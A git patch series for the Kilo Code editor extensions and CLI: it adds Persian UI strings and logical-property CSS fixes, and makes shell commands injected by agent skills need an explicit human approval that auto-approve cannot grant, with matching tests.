خروجی‌های قدیمی", + "settings.context.prune.description": "حذف خروجی‌های قدیمی ابزار در حین فشرده‌سازی", + "settings.context.watcherPatterns": "الگوهای نادیده‌گیری ناظر فایل", + "settings.context.watcherPatterns.description": "الگوهای Glob برای فایل‌هایی که ناظر باید نادیده بگیرد", + "settings.context.memory.title": "حافظه", + "settings.context.memory.project.title": "حافظه پروژه", + "settings.context.memory.autoSave.title": "ذخیره خودکار حافظه پروژه", + "settings.context.memory.autoSave.description": + "هنگامی که حافظه فعال است، اطلاعات پایدار پروژه از نوبت‌های تکمیل‌شده به‌طور خودکار ذخیره می‌شوند.", + "settings.context.memory.storage.title": "ذخیره‌سازی", + "settings.context.memory.status.notLoaded": "بارگذاری نشده", + "settings.context.memory.status.disabled": "غیرفعال", + "settings.context.memory.status.enabledTokens": "فعال - ~{{tokens}} توکن ذخیره‌شده", + "settings.context.memory.storage.path": "{{path}}", + "settings.context.memory.storage.enable": "حافظه را فعال کنید تا فایل‌های حافظه پروژه ایجاد شوند.", + "settings.context.memory.inspect": "بررسی", + "chat.memory.project.disabled": "حافظه پروژه غیرفعال است", + "chat.memory.project.empty": "این پروژه هنوز هیچ حافظه‌ای ندارد. پس از استفاده از Kilo نمایش داده خواهد شد.", + "chat.memory.command.failed": "دستور حافظه ناموفق بود", + "chat.memory.updated": "حافظه به‌روزرسانی شد", + "chat.memory.rebuild": "ایندکس حافظه بازسازی شد", + + "settings.commitMessage.title": "پیام Commit", + "settings.commitMessage.override.title": "استفاده از Prompt سفارشی", + "settings.commitMessage.override.description": + "جایگزینی Prompt پیش‌فرض پیام commit. در صورت فعال‌سازی، Prompt سفارشی شما به‌طور کامل جایگزین Prompt داخلی conventional commits می‌شود.", + "settings.commitMessage.prompt.title": "پرامپت سفارشی", + "settings.commitMessage.prompt.description": + "پرامپت سیستمی که هنگام تولید پیام‌های کامیت به هوش مصنوعی ارسال می‌شود. این گزینه پرامپت پیش‌فرض را به‌طور کامل جایگزین می‌کند.", + "settings.commitMessage.prompt.placeholder": + "مثال: پیام‌های کامیت را به زبان اسپانیایی و با فرمت conventional commits تولید کن. فقط پیام کامیت را برگردان.", + + "settings.commitMessage.language.sync": "همگام‌سازی با زبان رابط کاربری", + "settings.commitMessage.language.description": + "زبان مورد استفاده برای پیام‌های کامیت تولیدشده توسط هوش مصنوعی را انتخاب کنید:", + + "settings.display.username.title": "نام کاربری", + "settings.display.username.description": "نام کاربری سفارشی که در مکالمات نمایش داده می‌شود", + "settings.display.fontSize.title": "اندازه قلم", + "settings.display.fontSize.description": "اندازه قلم رابط کاربری وب‌ویو Kilo را مستقل از VS Code تنظیم کنید.", + "settings.display.reasoningAutoCollapse.title": "جمع‌شدن خودکار استدلال", + "settings.display.reasoningAutoCollapse.description": + "بلوک‌های استدلال را پس از اتمام نوشتن توسط عامل جمع می‌کند. برای نگه داشتن استدلال در حالت باز، این گزینه را خاموش بگذارید مگر اینکه خودتان آن را جمع کنید.", + "settings.display.shiftTabCycle.title": "چرخش سطح استدلال با Shift+Tab", + "settings.display.shiftTabCycle.description": + "در ورودی پرامپت، Shift+Tab را فشار دهید تا به سطح تلاش استدلال بعدی بروید. برای حفظ عملکرد Shift+Tab جهت ناوبری فوکوس صفحه‌کلید، این گزینه را غیرفعال کنید.", + "settings.display.terminalCommand.title": "بلوک‌های دستور ترمینال", + "settings.display.terminalCommand.description": + "انتخاب کنید که بلوک‌های دستور ترمینال در حالت باز یا بسته شروع شوند.", + "settings.display.terminalCommand.expanded": "باز", + "settings.display.terminalCommand.collapsed": "بسته", + "settings.display.codeEdit.title": "بلوک‌های ویرایش کد", + "settings.display.codeEdit.description": "انتخاب کنید که بلوک‌های ویرایش کد و تفاوت در حالت باز یا بسته شروع شوند.", + "settings.display.codeEdit.expanded": "گسترش‌یافته", + "settings.display.codeEdit.collapsed": "جمع‌شده", + "settings.display.tokenThroughput.title": "نمایش توان عملیاتی توکن", + "settings.display.tokenThroughput.description": + "نرخ تولید متن (توکن/ثانیه) را در آخرین پیام دستیار و در سربرگ وظیفه نمایش می‌دهد. به‌طور پیش‌فرض پنهان است تا چت شلوغ نشود.", + + "chat.throughput.tooltip": + "میانگین {{speed}} توکن/ثانیه برای این نوبت. شامل توکن‌های خروجی و استدلال می‌شود؛ زمان اجرای ابزار و انتظار را شامل نمی‌شود.", + "chat.throughput.tooltip.missing": "معیارهای توان عملیاتی برای این نوبت در دسترس نیست.", + + "settings.providers.defaultModel.title": "مدل پیش‌فرض", + "settings.providers.defaultModel.description": "مدل اصلی برای مکالمات", + "settings.providers.smallModel.title": "مدل سبک", + "settings.providers.smallModel.description": + "مدل سبک‌وزن برای تولید عنوان، تولید پیام کامیت، بهبود پرامپت و سایر وظایف سریع", + "settings.providers.subagentModel.title": "مدل زیرعامل", + "settings.providers.subagentModel.description": + "مدل پیش‌فرض و میزان استدلال برای زیرعامل‌های ابزار-وظیفه. برای به ارث بردن مدل عامل فراخواننده، خالی بگذارید.", + "settings.models.hidePromptTraining.title": "پنهان کردن مدل‌های آموزش پرامپت", + "settings.models.hidePromptTraining.description": + "مدل‌های Kilo Gateway را که ارائه‌دهندگانشان ممکن است از پرامپت‌های شما برای آموزش استفاده کنند پنهان کنید.", + "settings.providers.modeModels": "مدل به ازای حالت", + "settings.providers.modeModels.description": + "مدل پیش‌فرض را برای حالت‌های خاص بازنویسی کنید. در صورت عدم تنظیم، از مدل پیش‌فرض سراسری استفاده می‌شود.", + "settings.providers.disabled": "ارائه‌دهندگان غیرفعال", + "settings.providers.disabled.description": "ارائه‌دهندگانی که از فهرست پنهان می‌شوند", + "settings.providers.disabled.enable": "فعال‌سازی", + "settings.providers.notSet": "تنظیم نشده (از پیش‌فرض سرور استفاده شود)", + "settings.providers.select.placeholder": "انتخاب ارائه‌دهنده...", + + "dialog.model.notSet": "تنظیم نشده", + + "profile.personalAccount": "حساب شخصی", + "profile.switchingAccount": "در حال تغییر حساب…", + + // Agent Manager strings live in webview-ui/agent-manager/i18n/en.ts + + "question.summary": "{{n}} از {{total}} سؤال", + "common.review": "بررسی", + + // legacy-migration start + "settings.legacyMigration.link": "انتقال از نسخه قدیمی", + "settings.aboutKiloCode.legacyMigration.title": "انتقال از نسخه قدیمی", + "settings.aboutKiloCode.legacyMigration.description": + "تنظیمات را از نصب قبلی Kilo Code منتقل کنید، از جمله کلیدهای API ارائه‌دهنده و مدل پیش‌فرض.", + "settings.aboutKiloCode.rooImport.description": "تاریخچه مکالمات را از یک نصب Roo Code وارد کنید.", + "settings.aboutKiloCode.rooImport.button": "وارد کردن جلسات از Roo Code", + + // Screen 1 — What's New + "migration.whatsNew.title": "تازه‌های Kilo Code", + "migration.whatsNew.subtitle": "افزونه را بر پایه‌ای سریع‌تر و کارآمدتر بازسازی کرده‌ایم.", + "migration.whatsNew.features.performance.title": "عملکرد سریع‌تر عامل", + "migration.whatsNew.features.performance.detail": + "فراخوانی ابزارهای موازی و زیرعامل‌ها به عامل شما امکان می‌دهند کارهای بیشتری را همزمان انجام دهد — تا زمان کمتری صرف نظارت کنید و زمان بیشتری برای ارسال داشته باشید.", + "migration.whatsNew.features.interface.title": "رابط کاربری ساده‌تر", + "migration.whatsNew.features.interface.detail": "حواس‌پرتی کمتر، خواندن آسان‌تر و سریع‌تر.", + "migration.whatsNew.features.agentManager.title": "Agent Manager", + "migration.whatsNew.features.agentManager.detail": + "یک رابط یکپارچه برای اجرای چندین عامل به‌صورت موازی، هر کدام در worktree مخصوص خود — پیشرفت را رصد کنید، بین زمینه‌ها جابه‌جا شوید و تغییرات را در یک مکان بررسی کنید.", + "migration.whatsNew.features.foundation.title": "پایه مشترک", + "migration.whatsNew.features.foundation.detail": + "یک هسته کوچک و کارآمد در تمام محصولات Kilo. تجربه‌ای آشنا، هر طور که انتخاب کنید کار کنید.", + "migration.whatsNew.blogLink": "خواندن اعلامیه کامل", + "migration.whatsNew.docsLink": "چه چیزی جدید است و سؤالات متداول", + "migration.whatsNew.continue": "ادامه", + + // Screen 2 — Migrate Settings + "migration.migrate.title": "تنظیمات خود را منتقل کنید", + "migration.migrate.subtitle": "تنظیماتی از نصب قبلی شما یافتیم. این‌ها چیزهایی هستند که می‌توانیم منتقل کنیم.", + "migration.migrate.selectLabel": "انتخاب موارد برای انتقال", + "migration.migrate.chatHistory": "جلسات و تاریخچه چت", + "migration.migrate.button": "انتقال تنظیمات", + "migration.migrate.skip": "رد کردن", + "migration.migrate.keysDetected": "{{count}} کلید شناسایی شد", + "migration.migrate.serversConfigured": "{{count}} سرور پیکربندی شده", + "migration.migrate.modesFound": "{{count}} حالت یافت شد", + "migration.migrate.sessionsDetected": "{{count}} نشست شناسایی شد", + "migration.migrate.nothingToMigrate": "هیچ موردی برای انتقال در تنظیمات قدیمی یافت نشد.", + + // Migrate — item labels (reused from old select keys) + "migration.select.providers": "کلیدهای API ارائه‌دهنده", + "migration.select.mcpServers": "سرورهای MCP", + "migration.select.customModes": "حالت‌ها / عوامل سفارشی", + "migration.select.defaultModel": "مدل پیش‌فرض", + "migration.select.autoApproval": "تأیید خودکار", + "migration.select.language": "زبان رابط کاربری", + "migration.select.autocomplete": "تنظیمات تکمیل خودکار", + + // Migrate — completion + "migration.complete.summary": "{{success}} از {{total}} مورد با موفقیت منتقل شد.", + "migration.complete.cleanup": "حذف داده‌های تنظیمات قدیمی", + "migration.complete.cleanupDescription": + "این گزینه تنظیمات قدیمی را از حافظه VS Code حذف می‌کند. پس از این کار، امکان اجرای مجدد این انتقال وجود نخواهد داشت.", + "migration.complete.done": "انجام شد", + "migration.error.continue": "ادامه", + "migration.sessionSummary.title": "خلاصه:", + "migration.sessionSummary.copy": "کپی گزارش", + "migration.sessionSummary.toast.copied": "گزارش کپی شد", + "migration.sessionSummary.successful": "موفق", + "migration.sessionSummary.skipped": "رد شده", + "migration.sessionSummary.alreadyMigrated": "قبلاً منتقل شده", + "migration.sessionSummary.errored": "با خطا مواجه شد", + "migration.sessionSummary.none": "هیچ‌کدام", + "migration.forceReimport.title": "وارد کردن مجدد اجباری", + "migration.forceReimport.description": + "وارد کردن مجدد {{target}} آن‌ها را بازنویسی کرده و هر پیام جدیدی که در آن نشست‌ها ایجاد شده را حذف می‌کند.", + "migration.forceReimport.target.one": "این نشست", + "migration.forceReimport.target.many": "این {{count}} نشست", + "migration.forceReimport.button": "وارد کردن مجدد اجباری", + "migration.forceReimport.all": "وارد کردن مجدد همه", + "migration.forceReimport.proceed": "ادامه", + "migration.forceReimport.toast.started": "وارد کردن مجدد اجباری آغاز شد", + "migration.running.title": "انتقال در حال انجام است", + "migration.running.description.line1": "در حالی که هنوز نشست‌هایی در حال انتقال هستند، می‌خواهید پایان دهید.", + "migration.running.description.line2": "اگر اکنون خارج شوید، برخی جلسات ممکن است ناتمام بمانند.", + "migration.running.stay": "ماندن", + "migration.running.proceed": "ادامه", + "migration.sessionProgress.preparing": "در حال آماده‌سازی جلسه", + "migration.sessionProgress.storing": "در حال ذخیره جلسه", + "migration.sessionProgress.skipped": "جلسه رد شد", + "migration.sessionProgress.header": "در حال انتقال {{current}} از {{total}}", + "migration.sessionFormat.unknownDate": "تاریخ نامشخص", + "migration.sessionFormat.unknown": "نامشخص", + "migration.sessionFormat.unknownError": "خطای نامشخص", + // legacy-migration end + + "error.details.show": "جزئیات", + + "task.todos.progress": "{{done}}/{{total}} کار انجام شد", + "task.todos.allDone": "{{count}} کار انجام شد", + + "settings.saveBar.unsavedChanges": "تغییرات ذخیره‌نشده", + "settings.saveBar.discard": "رد کردن", + "settings.saveBar.save": "ذخیره", + "settings.saveBar.saving": "در حال ذخیره…", + "settings.saveBar.warning.one": "یک جلسه در حال اجرا است و قطع خواهد شد", + "settings.saveBar.warning.many": "چند جلسه در حال اجرا هستند و قطع خواهند شد", + "settings.saveBar.saveAnyway": "در هر صورت ذخیره کن", + "settings.saveBar.cancel": "لغو", + "settings.saveBar.saveFailed": "ذخیره تنظیمات ممکن نشد", + + "notifications.action.next": "بعدی", + "notifications.action.close": "بستن", + "notifications.action.tryModel": "امتحان {{model}}", + "notifications.action.tryModelGeneric": "امتحان مدل", + + "diffViewer.source.workspace.label": "شاخه", + "diffViewer.source.workspace.tooltip": + "تمام تغییرات این شاخه در مقایسه با شاخه پایه. شامل فایل‌های کامیت‌نشده (staged، unstaged، untracked) و کامیت‌های محلی که هنوز در شاخه پایه نیستند.", + "diffViewer.source.staged.label": "آماده‌سازی‌شده", + "diffViewer.source.staged.tooltip": + "فایل‌هایی با تغییراتی که به ناحیه staging گیت اضافه کرده‌اید (`git add`)، همان‌طور که در کامیت بعدی ظاهر خواهند شد.", + "diffViewer.source.unstaged.label": "مرحله‌بندی‌نشده", + "diffViewer.source.unstaged.tooltip": + "فایل‌های تغییر یافته در working tree شما که هنوز stage نشده‌اند، به علاوه فایل‌های ردیابی‌نشده (جدید).", + "diffViewer.source.session.label": "جلسه", + "diffViewer.source.session.tooltip": + "فایل‌هایی که توسط Kilo در جلسه جاری تغییر کرده‌اند، بر اساس عکس‌های فوری هر نوبت. با شروع جلسه جدید بازنشانی می‌شود.", + "diffViewer.group.session": "جلسه", + "diffViewer.group.git": "Git", + "diffViewer.notice.snapshotsDisabled": + "عکس‌های فوری برای این مخزن غیرفعال هستند. لطفاً فایل‌های پیکربندی خود را ویرایش کنید تا تغییرات جلسه نمایش داده شوند.", + + "diffViewer.baseBranch.auto": "پیش‌فرض", + "diffViewer.baseBranch.default": "پیش‌فرض", + "diffViewer.baseBranch.remote": "راه دور", + "diffViewer.baseBranch.search": "جستجوی شاخه‌ها", + "diffViewer.baseBranch.empty": "هیچ شاخه‌ای یافت نشد", + "diffViewer.baseBranch.loading": "در حال بارگذاری شاخه‌ها…", + "diffViewer.baseBranch.none": "—", + + "plan.exit.ready": "طرح آماده است:", + "chat.search.placeholder": "جستجو در چت…", + "chat.search.toggle": "جستجو در چت", + "chat.search.matchCase": "تطابق حروف بزرگ و کوچک", + "chat.search.matchWholeWord": "تطابق کلمه کامل", + "chat.search.useRegex": "استفاده از عبارت منظم", + "chat.search.previousMatch": "تطابق قبلی", + "chat.search.nextMatch": "تطابق بعدی", + "chat.search.close": "بستن جستجو", + "chat.search.invalidRegex": "عبارت منظم نامعتبر", + "chat.search.noResults": "نتیجه‌ای یافت نشد", + "chat.search.searchingHistory": "در حال جستجو در پیام‌های قبلی…", +} diff --git a/packages/kilo-vscode/webview-ui/src/styles/question-dock.css b/packages/kilo-vscode/webview-ui/src/styles/question-dock.css index 2d25d339d7..d31af72f2c 100644 --- a/packages/kilo-vscode/webview-ui/src/styles/question-dock.css +++ b/packages/kilo-vscode/webview-ui/src/styles/question-dock.css @@ -29,7 +29,8 @@ align-items: center; justify-content: space-between; gap: 6px; - padding: 6px 8px 4px 12px; + padding-block: 6px 4px; + padding-inline: 12px 8px; cursor: pointer; } @@ -176,7 +177,7 @@ background-color: transparent; border: none; border-radius: 6px; - text-align: left; + text-align: start; width: 100%; cursor: pointer; outline: none; From 6b1b017e5a6965fa68296f78911c4c63b6dada4b Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 15:21:30 +0200 Subject: [PATCH 048/100] fix(cli): resolve a parseable shell for skill command injection --- packages/opencode/src/kilocode/skills/inject.ts | 7 +++++-- packages/opencode/src/tool/skill.ts | 5 +++++ packages/opencode/test/kilocode/skills/inject.test.ts | 3 +++ 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index 902647cac3..b13f5442db 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -1,7 +1,6 @@ import { Effect } from "effect" import { ConfigMarkdown } from "@/config/markdown" import { Process } from "@/util/process" -import { Shell } from "@opencode-ai/core/shell" import type * as Tool from "@/tool/tool" // Shell injection for skill bodies mirrors Claude's "dynamic context injection": @@ -47,6 +46,7 @@ export namespace SkillInject { disabled: boolean cwd: string skill: string + shell: string ctx: Tool.Context decompose: Decompose } @@ -59,7 +59,10 @@ export namespace SkillInject { if (opts.disabled) return replace(opts.content, () => DISABLED_NOTE) if (!opts.trusted) return replace(opts.content, () => UNTRUSTED_NOTE) - const shell = Shell.preferred() + // `shell` is resolved by the caller via Shell.acceptable(cfg.shell), which + // rejects shells the tree-sitter bash scanner can't parse (fish/nu), keeping + // the parse used for the permission decision aligned with execution. + const shell = opts.shell // Deduplicate identical commands, then cap the batch so a skill can't queue // an unbounded number of processes. const commands = Array.from(new Set(matches.map(([, cmd]) => cmd))).slice(0, MAX_COMMANDS) diff --git a/packages/opencode/src/tool/skill.ts b/packages/opencode/src/tool/skill.ts index 758696b02a..faa949c0c9 100644 --- a/packages/opencode/src/tool/skill.ts +++ b/packages/opencode/src/tool/skill.ts @@ -6,6 +6,8 @@ import { Skill } from "../skill" import * as Tool from "./tool" import DESCRIPTION from "./skill.txt" // kilocode_change start - gate + run shell injection in skill bodies +import { Config } from "@/config/config" +import { Shell } from "@opencode-ai/core/shell" import { InstanceState } from "@/effect/instance-state" import { RuntimeFlags } from "@/effect/runtime-flags" import { ShellPermission } from "./shell" @@ -23,6 +25,7 @@ export const SkillTool = Tool.define( const ripgrep = yield* Ripgrep.Service const flags = yield* RuntimeFlags.Service // kilocode_change const permission = yield* ShellPermission // kilocode_change - decompose skill commands like the bash tool + const config = yield* Config.Service // kilocode_change - resolve a parseable shell for injection return { description: DESCRIPTION, @@ -41,12 +44,14 @@ export const SkillTool = Tool.define( }) // kilocode_change start - render `!`cmd`` shell injection, gated by trust + kill-switch + batch approval + const cfg = yield* config.get() const content = yield* SkillInject.render({ content: info.content, trusted: info.trusted === true, disabled: flags.disableSkillShell, cwd: yield* InstanceState.directory, skill: info.name, + shell: Shell.acceptable(cfg.shell), ctx, decompose: permission.decompose, }) diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index 0b213c68bf..32f3811d5c 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -1,6 +1,7 @@ import { PermissionV1 } from "@opencode-ai/core/v1/permission" import { CrossSpawnSpawner } from "@opencode-ai/core/cross-spawn-spawner" import { Ripgrep } from "@opencode-ai/core/ripgrep" +import { Shell } from "@opencode-ai/core/shell" import { Effect, Exit, Layer } from "effect" import { afterEach, describe, expect } from "bun:test" import fs from "fs" @@ -221,6 +222,7 @@ describe("skill shell injection", () => { disabled: false, cwd: dir, skill: "big-shell", + shell: Shell.acceptable(), ctx: { ...baseCtx, ask: () => Effect.void } as Tool.Context, decompose: ({ command }) => Effect.succeed({ patterns: [command], dirs: [] }), }) @@ -249,6 +251,7 @@ describe("SkillInject.render gating", () => { disabled: opts.disabled, cwd: "/tmp", skill: "test", + shell: Shell.acceptable(), ctx, decompose, }), From 572d8fdfd982e1e4bbe08c5dc6d8822ff29583f6 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 15:48:22 +0200 Subject: [PATCH 049/100] fix(cli): let human surfaces approve skill shell batches --- .../session/controller/SessionController.kt | 39 +++++++++++++---- .../session/controller/PromptLifecycleTest.kt | 42 +++++++++++++++++++ .../src/cli/cmd/run/footer.permission.tsx | 5 ++- .../src/cli/cmd/run/permission.shared.ts | 11 +++-- .../src/kilo-sessions/remote-sender.ts | 3 ++ packages/opencode/src/permission/index.ts | 5 +++ .../test/cli/run/permission.shared.test.ts | 11 +++++ 7 files changed, 103 insertions(+), 13 deletions(-) diff --git a/packages/kilo-jetbrains/frontend/src/main/kotlin/ai/kilocode/client/session/controller/SessionController.kt b/packages/kilo-jetbrains/frontend/src/main/kotlin/ai/kilocode/client/session/controller/SessionController.kt index 9b1e517ac6..d032d281cc 100644 --- a/packages/kilo-jetbrains/frontend/src/main/kotlin/ai/kilocode/client/session/controller/SessionController.kt +++ b/packages/kilo-jetbrains/frontend/src/main/kotlin/ai/kilocode/client/session/controller/SessionController.kt @@ -722,7 +722,10 @@ class SessionController( LOG.debug { "${ChatLogSummary.sid(sid ?: ref?.key ?: "pending")} kind=permission-auto rid=$id" } cs.launch { try { - if (!autoApprove) { + // Skill-shell batches must be answered by a human: the server refuses + // non-interactive approvals, so auto-approve must show the card (whose + // manual reply sets interactive=true) rather than send a machine reply. + if (!autoApprove || restore().meta.raw["skillShell"] == "true") { edt { if (disposed) return@edt model.setState(SessionState.AwaitingPermission(restore())) @@ -759,9 +762,16 @@ class SessionController( try { val permissions = sessions.pendingPermissions(directory).filter { it.sessionID in ids && it.id !in skip } val count = replyAll(permissions) - if (count == 0) return@launch + // Skill-shell requests are skipped by replyAll; surface one as a card so it + // isn't stranded (never machine-approved, never shown). + val card = skillShellCard(permissions)?.let { toPermission(it) } + if (count == 0 && card == null) return@launch runEdt { if (disposed) return@runEdt + if (card != null) { + updateModel { model.setState(SessionState.AwaitingPermission(card)) } + return@runEdt + } val current = model.state if (current is SessionState.AwaitingPermission && current.permission.sessionId in ids) { model.setState(SessionState.Busy(KiloBundle.message("session.status.considering"))) @@ -777,6 +787,8 @@ class SessionController( var count = 0 for (request in permissions) { if (!autoApprove) return count + // Skill-shell batches need a human; skip them here (callers surface the card). + if (request.metadata["skillShell"] == "true") continue sessions.replyPermission(request.id, directory, PermissionReplyDto("once")) capture("Permission Auto Approved", sessionProps(request.sessionID) + mapOf("tool" to request.permission, "source" to "drain")) count++ @@ -784,6 +796,11 @@ class SessionController( return count } + // A skill-shell request is never machine-approved (the server refuses non-interactive + // approvals); after draining, callers must surface one as a card so a human can answer. + private fun skillShellCard(permissions: List): PermissionRequestDto? = + permissions.lastOrNull { it.metadata["skillShell"] == "true" } + private fun updatePermission(id: String, state: PermissionRequestState, message: String? = null) { assertEdt() val current = model.state @@ -1156,11 +1173,15 @@ class SessionController( val permissions = sessions.pendingPermissions(directory).filter { it.sessionID == child } if (permissions.isEmpty()) return LOG.debug { "${ChatLogSummary.sid(sid ?: "pending")} kind=child-recovery child=$child permissions=${permissions.size}" } - if (autoApprove) { + // A skill-shell request must surface as a card even under auto-approve (replyAll + // skips it); prefer it over the last pending so a human can answer. + val show = if (autoApprove) { replyAll(permissions) - return + skillShellCard(permissions) ?: return + } else { + skillShellCard(permissions) ?: permissions.last() } - val last = toPermission(permissions.last()) + val last = toPermission(show) runEdt { if (disposed) return@runEdt if (child !in childIds) return@runEdt @@ -1201,9 +1222,12 @@ class SessionController( val permissions = sessions.pendingPermissions(directory).filter { it.sessionID == id } val questions = sessions.pendingQuestions(directory).filter { it.sessionID == id } val status = sessions.statuses.value[id] + // replyAll auto-approves the ordinary permissions and skips skill-shell ones. A + // skill-shell request must then fall through to a human card rather than go Busy. + val skillCard = skillShellCard(permissions) if (permissions.isNotEmpty() && autoApprove) { val count = replyAll(permissions) - if (count > 0) { + if (count > 0 && skillCard == null) { runEdt { if (disposed) return@runEdt if (sid != id) return@runEdt @@ -1226,7 +1250,8 @@ class SessionController( if (sid != id) return@runEdt updateModel { if (permissions.isNotEmpty()) { - model.setState(SessionState.AwaitingPermission(toPermission(permissions.last()))) + // Prefer a skill-shell request (needs a human) over the last pending. + model.setState(SessionState.AwaitingPermission(toPermission(skillCard ?: permissions.last()))) } else if (questions.isNotEmpty()) { model.setState(SessionState.AwaitingQuestion(toQuestion(questions.last()))) } else if (status != null) { diff --git a/packages/kilo-jetbrains/frontend/src/test/kotlin/ai/kilocode/client/session/controller/PromptLifecycleTest.kt b/packages/kilo-jetbrains/frontend/src/test/kotlin/ai/kilocode/client/session/controller/PromptLifecycleTest.kt index 9d5e4225e1..768c9e36b3 100644 --- a/packages/kilo-jetbrains/frontend/src/test/kotlin/ai/kilocode/client/session/controller/PromptLifecycleTest.kt +++ b/packages/kilo-jetbrains/frontend/src/test/kotlin/ai/kilocode/client/session/controller/PromptLifecycleTest.kt @@ -254,6 +254,23 @@ class PromptLifecycleTest : SessionControllerTestBase() { ) } + fun `test auto approve does not machine-reply a skill shell batch`() { + val (m, _, _) = prompted() + + edt { m.setAutoApprove(true) } + // skill-shell batches must be answered by a human; auto-approve must show the card + // instead of sending a non-interactive reply the server would refuse. + emit( + ChatEventDto.PermissionAsked( + "ses_test", + permission("perm1").copy(metadata = mapOf("skillShell" to "true")), + ), + ) + + assertTrue(rpc.permissionReplies.isEmpty()) + assertTrue(m.model.state is SessionState.AwaitingPermission) + } + fun `test disabling auto approve before reply restores awaiting permission`() { val (m, _, _) = prompted() @@ -310,6 +327,31 @@ class PromptLifecycleTest : SessionControllerTestBase() { assertEquals("once", rpc.permissionReplies[0].third.reply) } + fun `test enabling auto approve surfaces a pending skill shell as a card`() { + val (m, _, _) = prompted() + rpc.pendingPermissionList.add(permission("perm_skill").copy(metadata = mapOf("skillShell" to "true"))) + + edt { m.setAutoApprove(true) } + flush() + + // skill-shell must not be machine-approved; it surfaces as a human card instead + assertTrue(rpc.permissionReplies.isEmpty()) + assertTrue(m.model.state is SessionState.AwaitingPermission) + } + + fun `test recovery surfaces a pending skill shell as a card under auto approve`() { + appRpc.state.value = ai.kilocode.rpc.dto.KiloAppStateDto(ai.kilocode.rpc.dto.KiloAppStatusDto.READY, config = ai.kilocode.rpc.dto.ConfigDto(model = "kilo/gpt-5")) + projectRpc.state.value = workspaceReady() + rpc.pendingPermissionList.add(permission("perm_skill").copy(metadata = mapOf("skillShell" to "true"))) + edt { KiloPluginSettings.setAutoApprove(true) } + + val m = controller("ses_test") + flush() + + assertTrue(rpc.permissionReplies.isEmpty()) + assertTrue(m.model.state is SessionState.AwaitingPermission) + } + fun `test auto approve drains pending permissions during recovery`() { appRpc.state.value = ai.kilocode.rpc.dto.KiloAppStateDto(ai.kilocode.rpc.dto.KiloAppStatusDto.READY, config = ai.kilocode.rpc.dto.ConfigDto(model = "kilo/gpt-5")) projectRpc.state.value = workspaceReady() diff --git a/packages/opencode/src/cli/cmd/run/footer.permission.tsx b/packages/opencode/src/cli/cmd/run/footer.permission.tsx index 0eb412a03b..ab3ea3cc4f 100644 --- a/packages/opencode/src/cli/cmd/run/footer.permission.tsx +++ b/packages/opencode/src/cli/cmd/run/footer.permission.tsx @@ -141,7 +141,8 @@ export function RunPermissionBody(props: { const info = createMemo(() => permissionInfo(props.request)) const ft = createMemo(() => toolFiletype(info().file)) const narrow = createMemo(() => footerWidthPolicy(dims().width).dialog.narrow) - const opts = createMemo(() => permissionOptions(state().stage)) + const skillShell = createMemo(() => props.request.metadata?.["skillShell"] === true) // kilocode_change + const opts = createMemo(() => permissionOptions(state().stage, skillShell())) // kilocode_change - skillShell-aware options const busy = createMemo(() => state().submitting) const title = createMemo(() => { if (state().stage === "always") { @@ -165,7 +166,7 @@ export function RunPermissionBody(props: { }) const shift = (dir: -1 | 1) => { - setState((prev) => permissionShift(prev, dir)) + setState((prev) => permissionShift(prev, dir, skillShell())) // kilocode_change - skillShell-aware options } const submit = async (next: PermissionReply) => { diff --git a/packages/opencode/src/cli/cmd/run/permission.shared.ts b/packages/opencode/src/cli/cmd/run/permission.shared.ts index 2db4193696..8b0f33a241 100644 --- a/packages/opencode/src/cli/cmd/run/permission.shared.ts +++ b/packages/opencode/src/cli/cmd/run/permission.shared.ts @@ -77,9 +77,11 @@ export function createPermissionBodyState(requestID: string): PermissionBodyStat } } -export function permissionOptions(stage: PermissionStage): PermissionOption[] { +export function permissionOptions(stage: PermissionStage, skillShell?: boolean): PermissionOption[] { // kilocode_change - skillShell param if (stage === "permission") { - return ["once", "always", "reject"] + // kilocode_change start - skill-shell batches are never persisted, so no "Allow always" + return skillShell ? ["once", "reject"] : ["once", "always", "reject"] + // kilocode_change end } if (stage === "always") { @@ -146,12 +148,13 @@ export function permissionReply(requestID: string, reply: PermissionReply["reply return { requestID, reply, + interactive: true, // kilocode_change - footer replies are human-driven; the server refuses non-interactive skill-shell approvals ...(message && message.trim() ? { message: message.trim() } : {}), } } -export function permissionShift(state: PermissionBodyState, dir: -1 | 1): PermissionBodyState { - const list = permissionOptions(state.stage) +export function permissionShift(state: PermissionBodyState, dir: -1 | 1, skillShell?: boolean): PermissionBodyState { // kilocode_change - skillShell param + const list = permissionOptions(state.stage, skillShell) // kilocode_change - skillShell-aware options if (list.length === 0) { return state } diff --git a/packages/opencode/src/kilo-sessions/remote-sender.ts b/packages/opencode/src/kilo-sessions/remote-sender.ts index 8af252e6dd..42a575cd80 100644 --- a/packages/opencode/src/kilo-sessions/remote-sender.ts +++ b/packages/opencode/src/kilo-sessions/remote-sender.ts @@ -38,6 +38,9 @@ const PermissionData = z.object({ requestID: z.string(), reply: z.enum(["once", "always", "reject"]), message: z.string().optional(), + // Set by a remote human client; threads through to permission.reply so the server + // accepts a human approval of a skill-shell batch (non-interactive ones are refused). + interactive: z.boolean().optional(), }) const SuggestionData = z.object({ diff --git a/packages/opencode/src/permission/index.ts b/packages/opencode/src/permission/index.ts index ff6ad14fb0..9ce38c952f 100644 --- a/packages/opencode/src/permission/index.ts +++ b/packages/opencode/src/permission/index.ts @@ -300,7 +300,12 @@ export const layer = Layer.effect( // kilocode_change start - skill-shell batches must be answered by a human; ignore machine approvals // (auto-approve/YOLO clients omit `interactive`) so the prompt stays pending for a real decision. + // Log rather than fail silently: a genuine human client sets `interactive`, so a refused reply here + // means an auto-approver tried to answer — the request intentionally stays pending for a human. if (existing.info.metadata?.["skillShell"] === true && input.reply !== "reject" && input.interactive !== true) { + yield* Effect.logWarning("skill shell approval refused: requires an interactive human reply", { + id: input.requestID, + }) return } // kilocode_change end diff --git a/packages/opencode/test/cli/run/permission.shared.test.ts b/packages/opencode/test/cli/run/permission.shared.test.ts index 